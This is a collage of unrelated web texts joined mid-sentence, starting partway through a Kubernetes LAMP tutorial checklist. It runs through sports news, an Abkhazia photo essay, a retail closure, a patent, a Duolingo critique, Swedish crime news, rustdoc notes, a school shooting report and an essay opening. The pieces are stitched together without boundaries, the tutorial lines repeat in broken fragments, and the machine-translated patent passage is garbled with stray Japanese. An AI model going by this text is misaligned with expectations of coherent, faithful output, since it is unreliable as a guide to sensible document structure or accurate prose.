| | performance_schema | | sakila | | sys | +--------------------+ 5 rows in set ( 0. 00 sec ) Does the sakila database appear in the list? If not, you may need to run the data-loader-job.yaml again, as explained in an earlier step. Finally, let’s take another look at the ways we can use this example LAMP application as a springboard for your own app.
6. (Optional) Customize your LAMP application This section includes a brief checklist for deploying your own LAMP application based on the stack in this tutorial. Place your own website files in the html/ directory of your Docker development directory. They will be copied to /var/www/html/ when you build your Docker image
directory of your Docker development directory. They will be copied to when you build your Docker image Download and import your own SQL files in the mysql-sakila-data-loader.sh script
script Place your mysql-sakila-data-loader.sh script and any other scripts or temporary data needed by your application in the script/ directory of your Docker development directory. They will be copied to /tmp/ when you build your own Docker image
script and any other scripts or temporary data needed by your application in the directory of your Docker development directory. They will be copied to when you build your own Docker image Update the Dockerfile with any other software you need to apt-get or any other PHP extensions needed by your application or scripts
with any other software you need to or any other PHP extensions needed by your application or scripts Build your Docker image
Publish your Docker image to Docker Hub (public) or a private registry
Update the php.yaml and data-loader-job.yaml files to refer to your image instead of image: heptio/example-php-dbconnect
and files to refer to your image instead of Update the data-loader-job.yaml file to refer to your initial script(s) instead of command: ["/tmp/mysql-sakila-data-loader.sh"]
file to refer to your initial script(s) instead of Update the secrets.yaml file to use your own secure users, passwords, and other sensitive information
file to use your own secure users, passwords, and other sensitive information If you change the keys for any of the secrets, update all of the other YAML files to use the new keys
Double-check that your secrets, environment variables in the YAML files, and environment variables in your application and scripts all still correspond
If you do not use the Service to make MySQL available on mysql.default.svc.cluster.local, update environment variables in php.yaml and data-loader-job.yaml and in your application to correspond to the new MySQL host
, update environment variables in and and in your application to correspond to the new MySQL host If you are not using AWS or do not have cloudprovider=aws enabled, you will have to provision a PersistentVolumeClaim named database so your cluster has access, and you will have to provision a LoadBalancer and configure it like the one in the php.yaml file
enabled, you will have to provision a PersistentVolumeClaim named so your cluster has access, and you will have to provision a LoadBalancer and configure it like the one in the file Run kubectl create -f varMyfile.yaml for all the files
for all the files Run kubectl get service web -o wide and configure DNS so your domain name points to your application For explanation of these checklist items, please re-read the appropriate section of the tutorial. Details for customizing your application are presented alongside the example app installation.It appears that Xavier Fulton is returning to the Saskatchewan Roughriders.
A CFL source told the Regina Leader-Post on Saturday that the international left offensive tackle is set to re-sign with the Roughriders pending the results of his physical.
An announcement regarding Fulton’s contract status is expected before the Riders open training camp Sunday in Saskatoon.
Fulton, 30, spent four seasons with the Riders after being acquired from the Edmonton Eskimos for a conditional sixth-round selection in the 2012 CFL draft.
He dressed for 65 regular-season games with the Riders before filing for free agency in February. Fulton re-signed with the Riders after NFL tryouts with the Jacksonville Jaguars and Atlanta Falcons.
Meanwhile, Riders defensive end Shawn Lemon tweeted on Sunday that the Roughriders have signed defensive tackle Jonathan Williams. Williams was released on May 8 after spending two injury-marred seasons with the Ottawa Redblacks.
Ottawa selected Williams in the 2013 expansion draft. He dressed for 13 games in the 2013 season with the Toronto Argonauts, recording 25 defensive tackles and two sacks.
In 2014, Williams had 15 defensive tackle and four sacks despite being limited to 12 games by a groin injury. He also returned an interception for a touchdown Aug. 24, 2014, against the Calgary Stampeders.
The groin injury limited the 6-foot-2, 285-pound Williams to three regular-season games in 2015. He had two defensive tackles and a sack last season.
Lemon dressed for nine games with the Redblacks in 2015 after a failing to land a job in the NFL. He signed with the Riders as a free agent on Jan. 15.
mmccormick@postmedia.com
twitter.com/murraylpAbkhazia’s Youth: Building Their Own World
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Text by Monica Ellena Photos by Jacob Borden The coffee was disappointing; the black liquid was too watery and weak to appeal to my spoilt Italian taste. Never mind, I thought. I never really like French coffee anyway. My 26-year-old Abkhaz friend smiled, amused. Reconciling expectations with reality is a daily practice for the young in Abkhazia, a place with landscapes – pebbled beaches with palm trees, mountains plunging down into the Black Sea -- which can evoke the charm of a Mediterranean resort, yet which offers few of the same opportunities. Abkhazia’s youth, both millennials and post-millennials, have grown up surrounded by the legacy of the 1992-1993 conflict with Tbilisi over independence -- shattered buildings, power cuts, food shortages, a trade embargo, isolation from the outside world. But they also have experienced changes that, to many, suggested a more promising future.
A young man pauses in a moment of reflection on the ruins of a 13th-century Genoese port, once a key port on the Black Sea, in Sokhumi. Life persists in the bullet riddled room of an abandoned cafe in the center of Sokhumi. A rusting set of stairs spiral up the center of an abandoned Soviet lighthouse that serves as a stop on a Sokhumi scavenger hunt for young people. Residents spend a summer evening in Abkhazia catching up and fishing. The tranquil Black Sea contrasts with the rusting ruins that line the Abkhaz coast.
Recognition of Abkhazia’s independence by Russia and a few Russian allies came in 2008, after Moscow’s war with Georgia. The cash and Russian tourists started to stream in shortly thereafter. Hotels mushroomed in Sokhumi and other seaside spots, roads were repaired, new schools were built. Yet beyond a few bohemian cafés and burger joints along the Sokhumi promenade, places for young Abkhaz to relax or party with friends are still hard to come by. Large, youth-focused events are rare, though Abkhazia does have its own rock bands. Instead, for entertainment, young Abkhaz look to their own resources. A few creative minds make the best of the ruins around them. The derelict parliament building, looking like an empty, concrete Advent calendar, is a regular hang-out site. Graffiti artists have unleashed paint and creativity on the second floor and sprayed the walls with drawings and slogans. “Independence” is a constant refrain. The contemporary art collective Sklad, run by young artists and cultural managers, has set up a residency program that, this year, invited artists from around the world to come to Abkhazia to explore a topic related to that 1992-1993 quest for independence – the destruction of the Abkhaz archives. The point, they note, is not “a tragic commemoration,” but to fill the “void” left by the loss of such cultural institutions with “memories and new works.”
Two young men peer through the window of a Sokhumi coffee shop as they search for clues in a scavenger hunt on Abkhaz history. Without many options for nightlife, such coffee shops offer young Abkhaz a place to socialize away from home. A team of students takes a break on an historical scavenger hunt in Sokhumi. With few options for entertainment, Abkhaz teenagers are forced to get creative on their own for a good time. A large crowd gathers in Sokhumi to watch a young girl perform during a Russian singing competition displayed on a large screen in the city center. Most young adults get their cellphones, clothing and other consumer goods from Russia.
Abkhazia’s young generations only remembers the conflict with Tbilisi through the stories their parents tell or through what hazy memories they themselves might have from their early childhood. Even while honoring their history, they strongly want to show that Apsny (Abkhazia), or Land of the Soul, is about more than the past. Like Sklad, they feel it is up to them to find their nation’s path and define its soul. While many leave to seek opportunities abroad, still others return to help construct Abkhazia’s future -- like 30-year Kan Taniya, who became the de-facto Abkhaz deputy foreign affairs minister when he was 26. Opinions about that future may vary and disappointments have come. Only a handful of countries followed Russia’s recognition of Abkhazia’s independence, leaving the Abkhaz in geopolitical limbo. The 2014 Winter Olympics in the Russian city of Sochi, 60 kilometers to the north, for instance, conveyed none of its glitz and glory on neighboring Abkhazia. But these factors have not dented young people’s belief that they hold a unique identity.
A group of students waits to lay flowers on the grave of Vladislav Ardzinba, whom they recognize as modern Abkhazia’s first president (1993-2005) and founding father. His May 14 birthday is commemorated as a national holiday in Abkhazia. A group of men bow their heads in respect at the tomb of Abkhaz independence movement leader Vladislav Ardzinba. The 1992-1993 war fought for independence from Tbilisi led to the deaths of thousands and the flight of some 250,000 ethnic Georgians from Abkhazia. Students congregate in the desolate halls of Abkhazia’s bombed-out parliament building as they wait for a bus to a ceremony to mark the birthday of independence leader Vladislav Ardzinba.
In June 2016, when Abkhazia hosted a soccer world cup for minority groups and unrecognized states, the euphoria was palpable. For a week, Abkhaz flags seemed to outnumber the declared population of 240,705.
Photo by Monica Ellena Football fans packed Sokhumi’s 4,300-set Dinamo Stadium in 2016 to cheer Abkhazia’s soccer team in the Conifa world cup, a yearly international tournament for soccer associations outside of the official FIFA system. Photo by Monica Ellena Photo by Monica Ellena Photo by Monica Ellena "Our President" reads the sign a woman holds with an image of Vladislav Ardzinba. Ardzinba spearheaded Abkhazia's push for independence from Georgia, led the Abkhazians during the conflict in the early 1990s and was the region's first de-facto president. He died in 2010.
Yet patriotism cannot obscure the problems. Unemployment is rampant and limited resources exist for fighting a reportedly growing problem with youth drug addiction. Juvenile delinquency apparently poses another concern. The Abkhaz General Prosecutor’s Office recently proposed a curfew on minors which is now under consideration by Abkhazia’s de facto 35-member legislature. Still, for young Abkhaz like my friend, focusing only on Abkhazia’s challenges or disappointments is not the answer. “[Over] 20 years have passed and what the world still calls a frozen conflict does not mean that Abkhazia is frozen,” she said. “For better or worse, my country now is not what it was in 1993. We have moved on.
Two Syrian young men sit in a cafe in downtown Sokhumi. Abkhazia has welcomed hundreds of people fleeing the civil war in Syria since 2012. Many of them, like these two men say their ancestors did, left Abkhazia for the Ottoman Empire in the mid-19th century to escape Tsarist rule. Syrians Anzor (middlet) and his younger brother (right), a wrestler, enrolled at Sokhumi State University after coming to Abkhazia from Syria in 2012. Without any nightlife in the city, Anzor and his brother, here with a friend, just hang out, smoking cigarettes and telling stories.Bartlesville's Kmart store is closing, parent company Sears Holdings confirmed Friday.
The store, located at 501 SE Washington Boulevard, is one of 35 Kmart and eight Sears stores nationwide that will close by early October. The announcement was made by Sears Holdings Chairman/CEO Eddie Lampert in a blog post.
"After several months of hard work to bring our costs into line, we continue to take actions to realize our vision of an integrated retailer focused on quality member experiences," Lampert wrote. "Changes in consumer behavior are driving our vision and actions, and we continue to transform our business model so that our physical store footprint and our digital capabilities match the needs and preferences of our members.
"Today, we will initiate the closing of an additional eight Sears and 35 Kmart unprofitable stores as we continue to focus on our best stores and return to profitability," the blog post said. "This is part of a strategy both to address losses from unprofitable stores and to reduce the square footage of other stores because many of them are simply too big for our current needs."
This is the second and final Sears Holdings property in Bartlesville to be closed. The Sears store at Washington Park Mall closed in late 2016.
Sears Holdings said liquidation sales at all closing stores will begin as early as Thursday.Technical Field
[0001]
The present invention relates to a passive walking device and a passive walking module
Background Art
[0002]
A conventional passive walking device is disclosed in japanese patent application laid-open no. 2011-131677 (1) there is provided a passive walking device according to the present invention. In a passive walking device described in patent document 1, (2つ) of legs and a hip joint including a waist axis. (2つ) of legs are attached to the hip joint by being rotatably connected to the waist shaft
Prior art literature
Patent document
[0003]
Patent document 1: japanese patent application laid-open no. 2011-131677
Summary of the invention
Problem to be solved by the invention
[0004]
In the passive walking device described in patent document 1, (2つ) each of the legs does not have a mechanism operable in cooperation with each other. Thus, in the passive walking device described in patent document 1, it is difficult to stably continue walking
[0005]
The present invention has been made in view of the problem of the prior art. More specifically, provided is a passive walking device capable of stably continuing passive walking
Means for solving the problem
[0006]
A passive walking device according to one aspect of the present invention includes a first side part and a second side part, and a second side part located on the opposite side of the first side part; a first leg connected to the first side part; a second leg, a second leg connected to the second side part, a first leg side crank part provided on the first side part, a second leg side crank part provided on the second side part so as to have a phase opposite to that of the first leg side crank part, a crank shaft for connecting the first leg side crank part and the second leg side crank part, a first leg-side connection part connected to the first leg-side crank part and a second leg-side connection part connected to the first leg-side crank part, and a second leg side connection part connected to the second leg side crank part and the second leg side
[0007]
When the first leg is in contact with the walking surface and moves from front to rear relative to the waist, the first leg side connection part rotates the first leg side crank part, the first leg side crank part rotates the second leg side crank part via the crank shaft. A second leg-side crank part includes a first leg-side crank part and a second leg-side crank part, the second leg is moved from the rear to the front relative to the waist through the second leg-side connection part
Effects of the invention
[0008]
According to the above, the passive walking device can continue stable passive walkingHearing Ray Chamberlain refer to Trent Cotchin as “Your Grace” in a recent game at Kings Landing (the MCG) inspired us to immediately draw parallels between our great game and another game, the epic saga, the Game of Thrones.
Who plays who? Who kills who, who smites, who dismembers, and who eats babies? Who is the ruler of the North? Who is an overly pompous bald man? Who is a downright lascivious dirty whore who everyone loves? Who is sly and manipulative, who is open, honest and vulnerable?
Find out in our expose into the true fantasy world of the AFL in the biggest battle of all time:
The Greatest Game of all vs The Game of Thrones!
Warning: There are some spoilers from the TV show
Jon Snow: Not really sure where he belongs, a young talented fighter who joined the Knights Watch and carried the team whilst having to fight alongside sub-optimal bretheren.
Callan Ward: Left the WB to join the GWS. His back must be hurting from having to carry the midfield.Johannes Eisele/Agence France-Presse — Getty Images
Hannover 96, a club that was within a whisker of being relegated last season, has turned the pecking order in the German Bundesliga on its ear after Saturday’s 3-1 victory against visiting Bayern Munich.
The victory moved Hannover into second place, far behind Borussia Dortmund, pending the outcome of Bayer Leverkusen’s late game against visiting and struggling Wolfsburg but only temporarily. Bayer Leverkusen beat struggling Wolfsburg, 3-0, later Saturday to reclaim the second spot — two points ahead of Hannover.
Michael Sohn/Associated Press
The loss left Munich in fourth place, but with a chance to be overtaken by Mainz depending on the result of Sunday’s match at Hamburg.
A second-place finish by Hannover would give it one of the Bundesliga’s two automatic berths in next season’s Champions League. The third-place club will be part of a playoff to gain entry to the main Champions League draw.
Bayern’s Dutch manager, Louis van Gaal, has been under increasing pressure because Munich, perhaps the most popular team in Germany, has lost two straight in the league and was bounced out of the German Cup at midweek by Schalke 04. Perhaps the only thing that can save van Gaal would be Bayern’s progression to the quarterfinals of the Champions League. Munich defeated the defending champion Inter Milan in Italy, 1-0, and heads into the return match at the Allianz Arena on March 15 with a slight edge.
Hannover received goals from Mohammed Abdellaoue and Konstantin Rausch on Saturday before Sergio Pinto added another goal on the hour after Arjen Robben had briefly given Munich some hope with a goal in the 55th minute.
Is van Gaal done at Munich? Can Hannover maintain its run and stay near the top of the Bundesliga?England begin their European Under 21 Championship Finals campaign on the 18th June. Currently, England are second favourites behind Germany to win the competition. Can England go one better than the runners up spot they achieved in 2009? Or, will the Germans prove to be once again too strong?
European Under 21 Championships: England’s Chances
England qualified for this tournament, being held in the Czech Republic, easily; they finished first in their group with nine wins and one draw from ten games. England scored 31 goals, conceding only two. This being said, the group was arguably one of the easiest, with England finishing 12 points ahead of Finland in second place.
The European U21 Championships started in its current format in 1978 and have been played every two years since. Before 1978, it was an under 23 competition. England have won the competition twice, winning at consecutive tournaments in 1982 and 1984. They beat West Germany 5-4 in 1982 and Spain 3-0 in 1984. Surprisingly, very few of the players involved in these tournament-winning squads went on to have decent senior international careers. Up to and including the 1992 tournament, the final was played of two legs. England have also been runners up once in 2009 where they were easily beaten by their German counterparts 4-0. |
So, who is responsible in the ensuing criminal and (or) civil litigation -- Duolingo, the pharmaceutical manufacturer, the marketing agent, or a combination? Where will the injured party seek legal recourse?
While the demonstration translation of that earlier news article was accurate, it is after all only a simple news article that anyone with rudimentary language skills and enough time can do fairly accurately. How does Duolingo propose to translate medical, finance, legal or engineering materials etc., all of which require not only excellent language skills but also expert knowledge with years of experience? For example, my company will only assign medical translations to translators with a medical background (e.g. nurse, medical intern, retired doctor, etc.) with at least 5 years of related translation experience. Indeed, any professional translation provider?will have the same strict policy regarding expert knowledge because the consequences of an can be detrimental, literally, to limb and life. This, of course, opens up a whole different can of worms. It’s not hard to imagine a scenario where a person overdoses on a medical drug because the online dosage instructions were translated incorrectly in crowdsourcing. So, who is responsible in the ensuing criminal and (or) civil litigation -- Duolingo, the pharmaceutical manufacturer, the marketing agent, or a combination? Where will the injured party seek legal recourse?
Naturally, consistency contributes to quality
Translation is like writing: style is unique to every individual. Professional translation includes procedures to ensure consistency of style in materials, be they documents or web pages. This is very important because (in)consistency in style contributes to (lack of) translation quality.
Now, with crowd-sourcing, you have, well, a crowd on the job. And, without a strategy to achieve consistency in translation style you get what effectively reads like a “patchwork quilt” of styles. What procedure does Team Duolingo have in place to ensure consistency?
Translation is like writing: style is unique to every individual. includes procedures to ensure consistency of style in materials, be they documents or web pages. This is very important because (in)consistency in style contributes to (lack of) translation quality. Now, with crowd-sourcing, you have, well, a crowd on the job. And, without a strategy to achieve you get what effectively reads like a “patchwork quilt” of styles. What procedure does Team Duolingo have in place to ensure consistency?
Information is dynamic -- Can Duolingo keep up?
Mr von Ahn claims that the English edition of Wikipedia can be translated in about 80 hours with the right number of users. While this is well within the realm of possibility, it’s only half the translation solution required. What do I mean?
It will take me 30 minutes to write this blog post, by which time the English edition of Wikipedia will have already changed significantly. After all, Wikipedia is itself a crowdsourcing project with thousands upon thousands of contributors constantly adding, editing, updating and deleting materials. This means that full time users will need to be assigned just to keep the translation of Wikipedia up-to-date. Now, let’s extrapolate this scenario to the entire Web, which is constantly changing, and we begin to understand there is much more to translation than, well, simply translating.
Information is dynamic, and a complete translation solution requires a robust strategy to keep translated content up-to-date. Out dated translation is no different from out dated content -- it either becomes an historical record, or it goes in the trash bin.
These are fundamental issues in translation, which by its very nature is…professional. That is, linguistically qualified individuals with the right expert knowledge and experience performing translation (i.e. a task traditionally performed by specific individuals) in a timely manner.
These are still early days; however, unless Duolingo has in its possession a killer technology still to be unveiled to the public, my predictions for the Duolingo project are:
Just like Wikipedia, it will become a Starting Point for further research in foreign languages due to credibility issues resulting from lack of qualified linguists translating with a lack of expert knowledge. As Jim Wales, Wikipedia’s founder, cautions “[Wikipedia] is a wonderful starting point for research. But it's only a starting point because there's always a chance that there's something wrong, and you should check your sources if you are writing a paper.” Its goals will be scaled down from “translate the entire web into every major language” to only translating static web content, such as news articles, that rarely, if ever, change into a few select languages. (Machine translation and professional human translation will still be the preferred choice of translation for the vast majority of dynamic, ever changing web content.)
What are your predictions for Team Duolingo?
About the Author
Ivan Vandermerwe is the CEO of SAECULII YK (Tokyo Japan), the owner of Tokyo based Translation Service in Japan Visit SAECULII for the latest professional articles and news on Japanese Translation Service
Copyright (c) SAECULII YK. All rights reserved. Reproduction of this article is permitted with inclusion of the "About the Author" reference as is (including text links, japan-translators.saeculii.com/english/services/japanese-translation-services.cfm), and this copyright information. Articles may not be altered without written permission from SAECULII YK.Stockholm + FÖLJ
Explosion vid galleria i Stockholm
1 av 7
avIsabelle Nordström, Sebastian Hagberg
NYHETER 26 januari 2016 18:52
En explosion skakade Mood-gallerian i centrala Stockholm på tisdagskvällen.
Personer på platsen vittnar om en kraftig smäll följt av ett vitt ljussken.
– Det finns anledning att tro att brott har begåtts, säger Sven-Erik Olsson vid polisen.
Klockan 18.28 larmades polis och räddningstjänst till Mood-gallerian med anledning av en hög smäll.
– Det kom in flera uppgifter om en kraftig explosion och ett ljussken. Vi har spärrat av på Mäster Samuelsgatan ner mot Norrlandsgatan och har tagit dit tekniker, säger Sven-Erik Olsson, vakthavande befäl vid polisen i Stockholm.
Polisen har inlett en förundersökning om allmänfarlig ödeläggelse.
– Det finns anledning att anta att brott har begåtts, men vad det är som har smällt vet jag inte. Det får teknikerna titta på när de kommer dit.
Vid 22-tiden var den tekniska undersökningen klar och avspärrningarna kring gallerian hävdes.
– Den preliminära bedömningen är att det rörde sig om någon slags pyroteknik. En form av kraftig smällare, säger Sven-Erik Olsson.
”Jag såg ett vitt ljus”
Aftonbladet har talat med ett vittne som befann sig i närheten av gallerian.
– Det var en rejäl smäll. Jag såg ett vitt ljus. Rutorna skakade verkligen. Nu är det glassplitter på gatan och poliser överallt, säger vittnet.
Explosionen ledde inte till några personskador, men ett fordon fick rutorna krossade och en del av fasaden på gallerian skadades.
Undersöker en bil
Kort efter explosionen spärrade polisen av Klaratunneln, som ligger några hundra meter från gallerian. En bil med krossade rutor undersöktes där av polispatruller med bombhund.
– Den bilen hade fått rutan krossad eftersom den stod i närheten. Våra tekniker har undersökt bilen för att se om det kan visa vad som hänt, säger Sven-Erik Olsson.
Enligt Sven-Erik Olsson är ägaren till bilen inte intressant i utredningen.
Det finns ännu ingen misstänkt eller gripen i ärendet.
26 januari 2016 18:52BY LUCY GUANUNA
ELYSIAN VALLEY — New signs advising cyclists to slow down are being installed along the L.A. River path as officials prepare to ramp up efforts to reduce reckless riding and increase safety.
In addition to pedestrian crossing and “SLOW” signs, information about the laws that apply to cyclists as well as pedestrians will be distributed at several points along the path in coming weeks as LAPD prepares to increase enforcement, said Tony Arranga, spokesperson for Council District 13.
The new round of safety improvements comes in the wake of collisions between cyclists and pedestrians along the narrow path. Most recently, a woman identified by residents as “Ms. Yun,” a nlong-time Elysian Valley resident, was left in critical condition after being struck from behind by a cyclist on Oct. 8
She suffered severe head injuries, but was permitted to go home from the hospital on Sunday, said David De la Torre with Elysian Valley Neighborhood Watch.
The collision prompted action from the Elysian Valley Neighborhood Watch, which called on 13th District Councilman Mitch O’Farrell to implement further safety measures along the path. They demanded that the bike path be closed to cyclists immediately until improvements, including speed bumps and exclusive dedicated walk paths, are implemented (the path is currently closed in Elysian Valley during week days as part of a river channel clean up).
Last week, the councilmember released a letter to the public reminding users of the path of the Los Angeles Municipal Code laws on reckless riding. In the letter, O’Farrell referred to the path as the “LA River shared path” and gave cyclists and pedestrians safety tips. The letter also advised competitive cyclists who train at high speeds to use the area around the Rose Bowl or Carson Velodrome instead of the path.
“Cyclists should refrain from excessive speed, particularly when pedestrians, children and slower cyclists are present” said O’Farrell in the letter. “Pedestrians, as slower users of the path should walk to the right as slow moving vehicles would are required to do on roadways”
The Los Angeles Department of Transportation added a pedestrian crossing and “Slow” sign to the path last week and will continue to add more safety features near the pedestrian entryways along the path in Elysian Valley throughout the next couple of months. The enhancements will notify cyclists of areas with a higher concentration of pedestrians and where they must slow down or dismount.
But some Elysian Valley residents said the most recent safety measures are not enough. De La Torre, in a story in the L.A. Weekly, described them as “Band-Aid measures.”
Lucy Guanuna is a freelance reporter who has covered a variety of issues, including business, education and social justice movements in her native Los Angeles. Her work has been published in the Daily Sundial, L.A. Activist, and the San Fernando Valley Business Journal.
More Elysian Valley stories
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The Eastsider’s Daily email digest includes all new content published on The Eastsider during the last 24 hours. Expect the digest to land in your in email in box around 7 p.m. It’s free to sign up! The Eastsider’s Daily email digest includes all new content published on The Eastsider during the last 24 hours. Expect the digest to land in your in email in box around 7 p.m. It’s free to sign up! Once you submit your information, please check your email box to confirm your subscription.“Daytime Divas” star Chloe Bridges has signed on to portray Azura, the villain in the dystopian science-fiction action film “Skate God,” Variety has learned exclusively.
Alexander Garcia will be directing “Skate God” from his own screenplay and producing under his Multi-Valence Productions along with Autumn Bailey Entertainment and Anne Stimac.
The story is set in a futuristic world and centers on a skater played by Luke Benward. He discovers he is a descendant of the Greek god Zephyrus and is thrust into a battle with a society led by Ryan Cooper (“Rough Night”) that wants to take over the outside earth. Celeste Desjardins will play the goddess love interest in the film.
Principal photography is scheduled for the fall in Oklahoma, where the film has been approved for a tax rebate. The film also stars Peter Fonda, Evan Ross, Osric Chau, Lauren Mayhew, Nathan Gamble, Gabriela Lopez, Daniel Pinder, Lolita Davidovich, and YouTube star-pro skater Chad Tepper.
“Skate God” will also feature professional skateboarders Tony Hawk, Chad Fernandez, Leticia Bufoni, Garrett Hill, Corey Duffel, David Gonzalez, Diego Najera, William Spencer, Reuben Najera, Moose, and Tony Alva.
Bridges’ credits include “Pretty Little Liars,” “The Final Girls,” and “Nightlight.” She is repped by APA and Bridges Entertainment. Garcia is repped by the Michael Abrams Group.New rustdoc rendering common errors
Since a few weeks, it's possible to use pulldown instead of hoedown in order the render the markdown from the documentation comments with the following command:
rustdoc -Z unstable-options --enable-commonmark
You can take a look at the tracking issue here.
This switch is really important for Rust for a few reasons:
hoedown isn't maintained anymore
isn't maintained anymore hoedown is written in C
is written in C pulldown is maintained
is maintained pulldown is written in Rust
is written in Rust hoedown. pulldown is following the commonmark specification, which is more recent than the one used in
As you can see, a lot of advantages come from using pulldown! We'll move to pulldown by default in a few releases.
However, this switch brought a few rendering differences which we'll try to describe here in order to help you fix them if you encounter them.
So here is a list of common differences you might encounter while using the new rustdoc markdown generator pulldown :
Requires HTML tags for superscript
If you try to run rustdoc over this documentation comment:
Run /// text with x^2 pub fn sup() {}
You'll get as a warning:
WARNING: documentation for this crate may be rendered differently using the new Pulldown renderer. See https://github.com/rust-lang/rust/issues/44229 for details. WARNING: rendering difference in `text with x^2` --> diff.rs:2:0 /html[0]/body[1]/p[0] Text differs: expected: `text with x^2` found: `text with x` /html[0]/body[1]/p[0] Unexpected element `sup`: found: `<sup>2</sup>`
With hoedown it would have rendered as follows:
<p>text with x<sup>2</sup></p>
In order to do so with pulldown, you need to put the superscript text between sup html tags:
Run /// text with x<sup>2</sup> pub fn sup() {}
More code blocks are interpreted as such
If you try to run rustdoc over this documentation comment:
Run /// 1. let x = 2; pub fn some_code_block() {}
You'll get as a warning:
WARNING: rendering difference in `1. let x = 2;` --> diff.rs:5:0 /html[0]/body[1]/ol[0]/li[0] Types differ: expected: `pre`, found: ``
The issue is that pulldown considers that let x = 2; is codeblock because of the indentation on the contrary of hoedown.
This difference can be problematic if new code blocks are tested and failing.
pulldown identifies block codes way more easily based on indentation so be careful!
Lists can be created right after a paragraph
If you try to run rustdoc over this documentation comment:
Run ///some text /// * elem 1 /// * elem 2 pub fn list() {}
You'll get as a warning:
WARNING: documentation for this crate may be rendered differently using the new Pulldown renderer. See https://github.com/rust-lang/rust/issues/44229 for details. WARNING: rendering difference in `some text` --> diff.rs:10:0 /html[0]/body[1] One element is missing: expected: `ul`
pulldown doesn't need an empty line before the beginning of a list to consider it as a list. On the same note, you'll get the same error with a numbered list:
Run ///some text /// 1. elem 1 /// 2. elem 2 pub fn list() {}
Italic rule changes
If you try to run rustdoc over this documentation comment:
Run /// 30*60*12 = 47 pub fn emphasis() {}
You'll get as a warning:
WARNING: rendering difference in `30*60*12 = 47` --> diff.rs:13:0 /html[0]/body[1]/p[0] Text differs: expected: `30` found: `30*60*12 = 47` /html[0]/body[1]/p[0] One element is missing: expected: `em` /html[0]/body[1]/p[0] One element is missing: expected: `2`
hoedown requires a whitespace after a * to make the rule work on the opposite of pulldown. If you want the same rendering, just add whitespaces around 60 :
Run /// 30* 60 *12 = 47 pub fn emphasis() {}
If you want to display asterisks though (to have the same rendering as hoedown ), just escape them as follow:
Run /// 30\*60\*12 = 47 pub fn emphasis() {}
Emphasis rule changes
Just the same as Italic rule changes.
Link changes
If you try to run rustdoc over this documentation comment:
Run /// the [link] (foo) pub fn link() {}
You'll get as a warning:
WARNING: rendering difference in `the [link] (foo)` --> diff.rs:16:0 /html[0]/body[1]/p[0] Text differs: expected: `the [link] (foo)` found: `the` /html[0]/body[1]/p[0] Unexpected element `a`: found: `<a href="foo">link</a>`
pulldown will link even with a whitespace between the text and the url. If you want the same rendering as hoedown, just escape the ( as follow:
Run /// the [link] \(foo) pub fn link() {}
Conclusion
Other issues might be encountered and will be added to this list. You can follow the issue here.
Posted on the 18/09/2017 at 01:00On February 27th 2005, Chelsea FC and Liverpool FC faced off at Millenium Stadium in Cardiff to give managers Jose Mourinho and Rafa Benitez a chance at their first trophies with their new clubs. Mourinho and Benitez were in their first years with their respective clubs and both had won European trophies the season before, the Champions League for Mourinho and the UEFA Cup for Benitez. Chelsea would go on to win their first domestic double and first Premier League title for 50 year, while Liverpool would snatch victory from AC Milan in the Champions League final.
Liverpool defender John Arne Riise opened the scoring in the first minute with an expertly taken volley from the corner of Petr Cech’s six yard box. The goal set a League Cup final record for the fastest goal ever scored but it was the last thing Liverpool had to cheer about for a long time. The first half continued largely without incident as Liverpool looked to open the game up and Chelsea probed for an equalizer.
Chelsea dominated possession in the second half and their persistence was paid off with a Steven Gerrard own goal off a Paulo Ferreira free kick in the 79th minute. Jose Mourinho was sent to the stands by the referee after gesturing to the Liverpool supporters to quiet down by putting a finger to his lips. The sides looked for the winning goal but the match was destined to go in to extra time.
In extra time, Chelsea’s dominance continued and would soon pay off in a big way for the Blues. In the 107th minute, Chelsea earned a throw deep in the Liverpool half and then Chelsea player Glen Johnson’s long throw was bundled in to Jerzy Dudek’s goal by Drobgba to give Chelsea the lead. Five minutes later, Chelsea were able to kill off the match with a goal by Mateja Kezman from an Eidur Gudjohnsen cross inside the box. Antonio Nunez scored his first and only Liverpool goal just one minute later to add some intrigue to the final stage of the match but it was simply not Liverpool’s day and Chelsea were victorious.
This was the first trophy of Mourinho’s Chelsea career and the match featured Drogba’s first ever goal for Chelsea in a final. Both men went on to achieve tremendous success with the club but this was their first taste of victory together and gave Chelsea supporters around the world a glimpse of what was to come in the next decade.
For extended match highlights:
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San Bernardino Police Captain Ron Maass said the male gunman visited a female teacher in her classroom at North Park Elementary school when he opened fire and killed her. He wounded two students before turning the gun on himself.
The teacher was identified by law enforcement officials as Karen Smith and the suspected shooter was named as Cedric Charles Anderson, a resident of the City of Riverside, multiple law enforcement agencies confirmed to NBC4.
Officials are trying to find out if there was a relationship between the victim and killer.
The 8-year-old child was identified as Jonathan Martinez by San Bernardino police. He was taken to Loma Linda University Medical Centre where he later died.
San Bernardino Police Chief Jarrod Burguan tweeted that investigators believe "the suspect is down." He added that there was no further threat to the school, according to AP.
Two students were airlifted to a hospital after what is believed to be a domestic dispute, San Bernardino City Unified School District spokeswoman Maria Garcia told news station KNBC-TV.
"We believe the teacher knew who the shooter was," Garcia said.
A shooter walked into the grounds of North Park Elementary School on Monday (10 April) and opened fire, say officials.
Multiple victims were confirmed by 10.45am local time by the San Bernardino County Fire although the exact number of people hurt or killed was not released.
The shooter may be dead, according to a tweet from San Bernardino Police Department Chief Jarrod Burguan, who added that the information was preliminary, according to KTLA5.
"We believe this to be a murder suicide," he tweeted. "Happened in a class room. Two students have been transported to the hospital."
Eileen Hards, a spokeswoman with the San Bernardino Police Department, confirmed that a shooter had entered the school.
Cal State University San Bernardino students were told to seek shelter on campus as reports of an active shooter at the elementary school, which is located a a few blocks from campus, filtered through.
The San Bernardino County Fire Department reported multiple gunshot victims and a triage area had been set up. "It's a developing situation," said Eric Sherwin, a Fire Department spokesman.
The condition of the two victims was not immediately known, police said.
San Bernardino has seen a large increase in gun violence recently. There were 62 slayings in the area last year — a 41% increase from the year before – and the deadliest year in the city since 1995.The concept of “Catholic guilt” has become a cliche, a joke, a truism. But it’s real. For many of us who experienced Catholic childhood religious indoctrination, Catholic guilt is a pernicious and inescapable burden with serious lifelong repercussions. It clings to us, a dark spectre of our pasts, a cruel and vicious voice whispering to us, reminding us of the lessons of our childhood: that we are unworthy, that we cannot do anything right, that we do not deserve to be happy, that we are dirty tainted sinners who must constantly punish ourselves and atone for our sins, and that we are nothing. Nothing.
